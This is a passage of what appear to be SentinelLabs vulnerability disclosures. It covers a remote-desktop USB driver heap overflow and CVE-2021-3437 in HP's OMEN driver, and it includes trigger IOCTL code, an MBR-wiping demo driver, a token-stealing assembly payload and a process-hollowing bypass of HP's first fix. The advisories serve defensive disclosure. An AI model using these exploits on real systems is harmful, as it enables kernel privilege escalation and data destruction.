        int gap1;
        int firstObject_handle;
        int secondObject_handle;
        int thirdObject_handle;
        int alloc_size_32bit;
        unsigned int gap2;
        unsigned int copy_size_32bit;
        unsigned int alloc_size_64bit;
        unsigned int gap3;
        unsigned int copy_size_64bit;
}

Where either copy_size_64bit or copy_size_32bit are greater than alloc_size_32bit or alloc_size_64bit.

Even if the copy size and allocation size were the exact same parameter, the code is still exploitable due to the fact that there are insecure arithmetic operations when calculating the memmove size parameter.

In a simplified version, to trigger this vulnerability, an attacker may send the following IOCTL (assuming running a 64bit process):

uc.alloc_size_64bit = 0x20;
uc.copy_size_64bit = 0x100;
 
memset(&ol, 0, sizeof(ol)); // _OVERLAPPED
HANDLE EventW = CreateEventW(NULL, TRUE, FALSE, NULL);
ol.hEvent = EventW;
 
if (!DeviceIoControl(file_device_handle, 0x22001B, &uc, size, &OutBuffer, 8u, &NumberOfBytesTransferred, &ol) && (GetLastError() != ERROR_IO_PENDING || !GetOverlappedResult(file_device_handle, &ol, &NumberOfBytesTransferred, 1))) {
    exit(printf("IOCTL 0x22001B\r\n"));
}

This code will result in allocation of 0x20 bytes:

3: kd> r
rax=0000000000000000 rbx=ffff92889d98ad40 rcx=0000000000000001
rdx=0000000000000020 rsi=ffff92889d98a000 rdi=000000603e8ff5c8
rip=fffff80627175366 rsp=ffffde0f29eed6e0 rbp=0000000000000000
 r8=0000000000004c50  r9=fffff806271761e0 r10=fffff80627170ca0
r11=0000000000000000 r12=ffff92889962bc40 r13=0000000000000000
r14=0000000000000020 r15=ffff92889949eb38
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
wspvuhub+0x15366:
fffff806`27175366 e899c6ffff      call    wspvuhub+0x11a04 (fffff806`27171a04)

and copying of 0x435 bytes:

3: kd> r
rax=ffffad0e69959eb0 rbx=ffff92889d98ad40 rcx=ffffad0e69959eb0
rdx=000000603e8ff5c8 rsi=ffffad0e69959eb0 rdi=000000603e8ff5c8
rip=fffff80627175420 rsp=ffffde0f29eed6e0 rbp=0000000000000000
 r8=0000000000000435  r9=00000000000001b0 r10=0000000000004c50
r11=0000000000001001 r12=ffff92889962bc40 r13=0000000000000000
r14=0000000000000020 r15=ffff92889949eb38
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
wspvuhub+0x15420:
fffff806`27175420 e85b090000      call    wspvuhub+0x15d80 (fffff806`27175d80)

Since we control both the data and the size this makes a very strong primitive to achieve code execution in kernel mode.

BSoD Proof Of Concept

Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACL enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):

Using DeviceTree software to examine the security descriptor of the device

This means the vulnerability can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, it might be used as a second stage browser attack (although most modern browsers have a list of allowed IOCTLs requests) or other sandboxes for that matter.

Impact

  • Who is affected? Users with the mentioned client versions are prone to vulnerabilities that if exploited successfully may be used to gain high privileges. Since the vulnerable code exists in both the remote and local side, remote desktops are also affected by this vulnerability.
  • What is the risk? These high severity flaws could allow any user on the computer, even without privileges, to escalate privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products. An attacker with access to an organization’s network may also gain access to execute code on unpatched systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.

Recommendations

We responsibly disclosed our findings to product vendors. We are aware of the following vendor responses:

Accops has released an advisory page here.

NoMachine has released an advisory page here.

On AWS (Amazon Workspaces), a manual update needs to be performed if you either have:

  1. AutoStop WorkSpaces with maintenance turned off.
  2. AlwaysOn WorkSpaces with OS updates turned off.

In order to check your maintenance settings:

  1. Open the WorkSpaces console at https://console.aws.amazon.com/workspaces/.
  2. In the navigation pane, choose Directories.
  3. Select your directory, and choose Actions, Update Details.
  4. Expand Maintenance Mode.

Make sure to update the client application.

While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched and checking access logs for irregularities.

Conclusion

Vulnerabilities in third-party code have the potential to put huge numbers of products, systems, and ultimately, end users at risk, as we’ve noted before. The outsized effect of vulnerable dependency code is magnified even further when it appears in services offered by cloud providers. We urge all organizations relying on the affected services to review the recommendations above and take appropriate action.

As part of the commitment of SentinelLabs to advancing public cloud security, we actively invest in public cloud research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies. For maximum protection, we strongly recommend using SentinelOne Singularity platform.

We would like to thank those vendors that responded to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

Amazon

  • May 2, 2021 – Initial disclosure.
  • May 2, 2021 – First response from AWS security team.
  • May 7, 2021 – AWS security team report that they’re still actively investigating the issue.
  • May 13, 2021- AWS security team report that they’re still actively investigating the issue.
  • May 18, 2021 – AWS security team acknowledged the reported issues.
  • Jun 25, 2021 – AWS security team reported that they pushed out a fix to all regions.
  • Jul 1, 2021 – AWS security team asked for more technical details regarding the issues.
  • Jul 11, 2021 – SentinelOne answers the questions.

Eltima

  • Jun 6, 2021 – Initial disclosure.
  • Jun 14, 2021 – Eltima Support first responded that they’re reviewing the report.
  • Jun 15, 2021 – Eltima Support claimed that they are aware of the vulnerabilities, but it’s resolved because the feature is turned off.
  • Jun 15, 2021- We responded that the product is still vulnerable even if the feature is turned off.
  • Jun 15, 2021 – Eltima Support responded that they discontinued using those IOCTLs due to security reasons but for backward compatibility they still keep it.
  • Jun 19, 2021 – We clarified that the vulnerable code is still reachable and exploitable.
  • Jun 29, 2021 – Eltima Support responded that their team started the work on a new build without the mentioned vulnerabilities.
  • Jul 1, 2021 – Eltima Support requests more time.
  • Sep 6, 2021- Eltima notified us that they released fixed versions for their products.

Accops

  • Jun 28, 2021 – Initial disclosure.
  • Jun 28, 2021 – Accops first responded that they’re reviewing the report.
  • Sep 5, 2021 – Accops reported that the issue is fixed and updated modules are available from Accops website and support portal for download. Customers are notified to upgrade to new versions. Fixed modules are Accops HyWorks Client for Windows version 3.2.8.200 onwards and Accops HyWorks DVM Tools for Windows version 3.3.1.105 onwards (part of Accops HyWorks release 3.3 R3).
  • Dec 4, 2021 – Accops has released a utility to detect vulnerable endpoints. The utility is downloadable from Accops support site.

Mechdyne

  • We tried to contact Mechdyne several times during June 2021 to September 2021 but did not receive a response.

Amzetta

  • Jul 1, 2021 – Initial disclosure.
  • Jul 2, 2021 – Amzetta acknowledges the vulnerabilities and removed the product from their website.
  • Sep 3, 2021 – Amzetta notified us that they released fixed versions for their products.

NoMachine

  • Jun 28, 2021 – Initial disclosure.
  • Jul 5, 2021 – NoMachine acknowledges the vulnerabilities.
  • Oct 21, 2021 – NoMachine informed us that the patches are released.

CVE-2021-3437 | HP OMEN Gaming Hub Privilege Escalation Bug Hits Millions of Gaming Devices

14 September 2021 at 11:00

Executive Summary

  • SentinelLabs has discovered a high severity flaw in an HP OMEN driver affecting millions of devices worldwide.
  • Attackers could exploit these vulnerabilities to locally escalate to kernel-mode privileges. With this level of access, attackers can disable security products, overwrite system components, corrupt the OS, or perform any malicious operations unimpeded.
  • SentinelLabs’ findings were proactively reported to HP on Feb 17, 2021 and the vulnerability is tracked as CVE-2021-3437, marked with CVSS Score 7.8.
  • HP has released a security update to its customers to address these vulnerabilities.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.

Introduction

HP OMEN Gaming Hub, previously known as HP OMEN Command Center, is a software product that comes preinstalled on HP OMEN desktops and laptops. This software can be used to control and optimize settings such as device GPU, fan speeds, CPU overclocking, memory and more. The same software is used to set and adjust lighting and other controls on gaming devices and accessories such as mouse and keyboard.

Following on from our previous research into other HP products, we discovered that this software utilizes a driver that contains vulnerabilities that could allow malicious actors to achieve a privilege escalation to kernel mode without needing administrator privileges.

CVE-2021-3437 essentially derives from the HP OMEN Gaming Hub software using vulnerable code partially copied from an open source driver. In this research paper, we present details explaining how the vulnerability occurs and how it can be mitigated. We suggest best practices for developers that would help reduce the attack surface provided by device drivers with exposed IOCTLs handlers to low-privileged users.

Technical Details

Under the hood of HP OMEN Gaming Hub lies the HpPortIox64.sys driver, C:\Windows\System32\drivers\HpPortIox64.sys. This driver is developed by HP as part of OMEN, but it is actually a partial copy of another problematic driver, WinRing0.sys, developed by OpenLibSys.

The link between the two drivers can readily be seen as on some signed HP versions the metadata information shows the original filename and product name:

File Version information from CFF Explorer

Unfortunately, issues with the WinRing0.sys driver are well-known. This driver enables user-mode applications to perform various privileged kernel-mode operations via IOCTLs interface.

The operations provided by the HpPortIox64.sys driver include read/write kernel memory, read/write PCI configurations, read/write IO ports, and MSRs. Developers may find it convenient to expose a generic interface of privileged operations to user mode for stability reasons by keeping as much code as possible from the kernel-module.

The IOCTL codes 0x9C4060CC, 0x9C4060D0, 0x9C4060D4, 0x9C40A0D8, 0x9C40A0DC and 0x9C40A0E0 allow user mode applications with low privileges to read/write 1/2/4 bytes to or from an IO port. This could be leveraged in several ways to ultimately run code with elevated privileges in a manner we have previously described here.

The following image highlights the vulnerable code that allows unauthorized access to IN/OUT instructions, with IN instructions marked in red and OUT instructions marked in blue:

The Vulnerable Code – unauthorized access to IN/OUT instructions

Since I/O privilege level (IOPL) equals the current privilege level (CPL), it is possible to interact with peripheral devices such as internal storage and GPU to either read/write directly to the disk or to invoke Direct Memory Access (DMA) operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

For the purposes of illustration, we wrote this sample driver to demonstrate the attack without pursuing an actual exploit:

unsigned char port_byte_in(unsigned short port) {
	return __inbyte(port);
}

void port_byte_out(unsigned short port, unsigned char data) {
	__outbyte(port, data);
}

void port_long_out(unsigned short port, unsigned long data) {
	__outdword(port, data);
}

unsigned short port_word_in(unsigned short port) {
	return __inword(port);
}

#define BASE 0x1F0

void read_sectors_ATA_PIO(unsigned long LBA, unsigned char sector_count) {
	ATA_wait_BSY();
	port_byte_out(BASE + 6, 0xE0 | ((LBA >> 24) & 0xF));
	port_byte_out(BASE + 2, sector_count);
	port_byte_out(BASE + 3, (unsigned char)LBA);
	port_byte_out(BASE + 4, (unsigned char)(LBA >> 8));
	port_byte_out(BASE + 5, (unsigned char)(LBA >> 16));
	port_byte_out(BASE + 7, 0x20); //Send the read command


	for (int j = 0; j < sector_count; j++) {
		ATA_wait_BSY();
		ATA_wait_DRQ();
		for (int i = 0; i < 256; i++) { USHORT a = port_word_in(BASE); DbgPrint("0x%x, ", a); } } } void write_sectors_ATA_PIO(unsigned char LBA, unsigned char sector_count) { ATA_wait_BSY(); port_byte_out(BASE + 6, 0xE0 | ((LBA >> 24) & 0xF));
	port_byte_out(BASE + 2, sector_count);
	port_byte_out(BASE + 3, (unsigned char)LBA);
	port_byte_out(BASE + 4, (unsigned char)(LBA >> 8));
	port_byte_out(BASE + 5, (unsigned char)(LBA >> 16));
	port_byte_out(BASE + 7, 0x30);

	for (int j = 0; j < sector_count; j++)
	{
		ATA_wait_BSY();
		ATA_wait_DRQ();
		for (int i = 0; i < 256; i++) { port_long_out(BASE, 0xffffffff); } } } static void ATA_wait_BSY() //Wait for bsy to be 0 { while (port_byte_in(BASE + 7) & STATUS_BSY); } static void ATA_wait_DRQ() //Wait fot drq to be 1 { while (!(port_byte_in(BASE + 7) & STATUS_RDY)); } NTSTATUS DriverEntry(PDRIVER_OBJECT driver_object, PUNICODE_STRING registry) { UNREFERENCED_PARAMETER(registry); driver_object->DriverUnload = drv_unload;

	DbgPrint("Before: \n");
	read_sectors_ATA_PIO(0, 1);
	write_sectors_ATA_PIO(0, 1);
	
	DbgPrint("\nAfter: \n");
	read_sectors_ATA_PIO(0, 1);

	return STATUS_SUCCESS;
}

This ATA PIO read/write is based on LearnOS. Running this driver will result in the following DebugView prints:

Debug logging from the driver in DbgView utility

Trying to restart this machine will result in an ‘Operating System not found’ error message because our demo driver destroyed the first sector of the disk (the MBR).

The machine fails to boot due to corrupted MBR

It’s worth mentioning that the impact of this vulnerability is platform dependent. It can potentially be used to attack device firmware or perform legacy PCI access by accessing ports 0xCF8/0xCFC. Some laptops may have embedded controllers which are reachable via IO port access.

Another interesting vulnerability in this driver is an arbitrary MSR read/write, accessible via IOCTLs 0x9C402084 and 0x9C402088. Model-Specific Registers (MSRs) are registers for querying or modifying CPU data. RDMSR and WRMSR are used to read and write to MSR accordingly. Documentation for WRMSR and RDMSR can be found on Intel(R) 64 and IA-32 Architecture Software Developer’s Manual Volume 2 Chapter 5.

In the following image, arbitrary MSR read is marked in green, MSR write in blue, and HLT is marked in red (accessible via IOCTL 0x9C402090, which allows executing the instruction in a privileged context).

Vulnerable code with unauthorized access to MSR registers

Most modern systems only use MSR_LSTAR during a system call transition from user-mode to kernel-mode:

MSR_LSTAR MSR register in WinDbg

It should be noted that on 64-bit KPTI enabled systems, LSTAR MSR points to nt!KiSystemCall64Shadow.

The entire transition process looks something like as follows:

The entire process of transition from the User Mode to Kernel mode

These vulnerabilities may allow malicious actors to execute code in kernel mode very easily, since the transition to kernel-mode is done via an MSR. This is basically an exposed WRMSR instruction (via IOCTL) that gives an attacker an arbitrary pointer overwrite primitive. We can overwrite the LSTAR MSR and achieve a privilege escalation to kernel mode without needing admin privileges to communicate with this device driver.

Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACLs enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):

Using DeviceTree software to examine the security descriptor of the device
The function that handles IOCTLs to write to arbitrary MSRs

Weaponizing this kind of vulnerability is trivial as there’s no need to reinvent anything; we just took the msrexec project and armed it with our code to elevate our privileges.

Our payload to elevate privileges:

	//extern "C" void elevate_privileges(UINT64 pid);
	//DWORD current_process_id = GetCurrentProcessId();
	vdm::msrexec_ctx msrexec(_write_msr);
	msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
	{
		const auto dbg_print = reinterpret_cast(get_kroutine(krnl_base, "DbgPrint"));
		const auto ex_alloc_pool = reinterpret_cast(get_kroutine(krnl_base, "ExAllocatePool"));

		dbg_print("> allocated pool -> 0x%p\n", ex_alloc_pool(NULL, 0x1000));
		dbg_print("> cr4 -> 0x%p\n", __readcr4());
		elevate_privileges(current_process_id);
	});

The assembly payload:

elevate_privileges proc
_start:
	push rsi
	mov rsi, rcx
	mov rbx, gs:[188h]
	mov rbx, [rbx + 220h]
	
__findsys:
	mov rbx, [rbx + 448h]
	sub rbx, 448h
	mov rcx, [rbx + 440h]
	cmp rcx, 4
	jnz __findsys

	mov rax, rbx
	mov rbx, gs:[188h]
	mov rbx, [rbx + 220h]

__findarg:
	mov rbx, [rbx + 448h]
	sub rbx, 448h
	mov rcx, [rbx + 440h]
	cmp rcx, rsi
	jnz __findarg

	mov rcx, [rax + 4b8h]
	and cl, 0f0h
	mov [rbx + 4b8h], rcx

	xor rax, rax
	pop rsi
	ret
elevate_privileges endp

Note that this payload is written specifically for Windows 10 20H2.

Let’s see what it looks like in action.

OMEN Gaming Hub Privilege Escalation

Initially, HP developed a fix that verifies the initiator user-mode applications that communicate with the driver. They open the nt!_FILE_OBJECT of the callee, parsing its PE and validating the digital signature, all from kernel mode. While this in itself should be considered unsafe, their implementation (which also introduced several additional vulnerabilities) did not fix the original issue. It is very easy to bypass these mitigations using various techniques such as “Process Hollowing”. Consider the following program as an example:

int main() {

    puts("Opening a handle to HpPortIO\r\n");

    hDevice = CreateFileW(L"\\\\.\\HpPortIO", FILE_ANY_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {

        printf("failed! getlasterror: %d\r\n", GetLastError());


        return -1;

    }

    printf("succeeded! handle: %x\r\n", hDevice);

    return -1;

}

Running this program against the fix without Process Hollowing will result in:

    Opening a handle to HpPortIO failed! 
    getlasterror: 87

While running this with Process Hollowing will result in:

    Opening a handle to HpPortIO succeeded! 
    handle: <HANDLE>

It’s worth mentioning that security mechanisms such as PatchGuard and security hypervisors should mitigate this exploit to a certain extent. However, PatchGuard can still be bypassed. Some of its protected structure/data are MSRs, but since PatchGuard samples these assets periodically, restoring the original values very quickly may enable you to bypass it.

Impact

An exploitable kernel driver vulnerability can lead an unprivileged user to SYSTEM, since the vulnerable driver is locally available to anyone.

This high severity flaw, if exploited, could allow any user on the computer, even without privileges, to escalate privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched systems and use these vulnerabilities to gain local elevation of privileges. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.

Impacted products:

  • HP OMEN Gaming Hub prior to version 11.6.3.0 is affected
  • HP OMEN Gaming Hub SDK Package prior 1.0.44 is affected

Development Suggestions

To reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs on device objects, verify user input and not expose a generic interface to kernel mode operations.

Remediation

HP released a Security Advisory on September 14th to address this vulnerability. We recommend customers, both enterprise and consumer, review the HP Security Advisory for complete remediation details.

Conclusion

This high severity vulnerability affects millions of PCs and users worldwide. While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, using any OMEN-branded PC with the vulnerable driver utilized by OMEN Gaming Hub makes the user potentially vulnerable. Therefore, we urge users of OMEN PCs to ensure they take appropriate mitigating measures without delay.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

17, Feb, 2021 – Initial report
17, Feb, 2021 – HP requested more information
14, May, 2021 – HP sent us a fix for validation
16, May, 2021 – SentinelLabs notified HP that the fix was insufficient
07, Jun, 2021 – HP delivered another fix, this time disabling the whole feature
27, Jul, 2021 – HP released an update to the software on the Microsoft Store
14, Sep 2021 – HP released a security advisory for CVE-2021-3437
14, Sep 2021 – SentinelLabs’ research published

  • There are no more articles
❌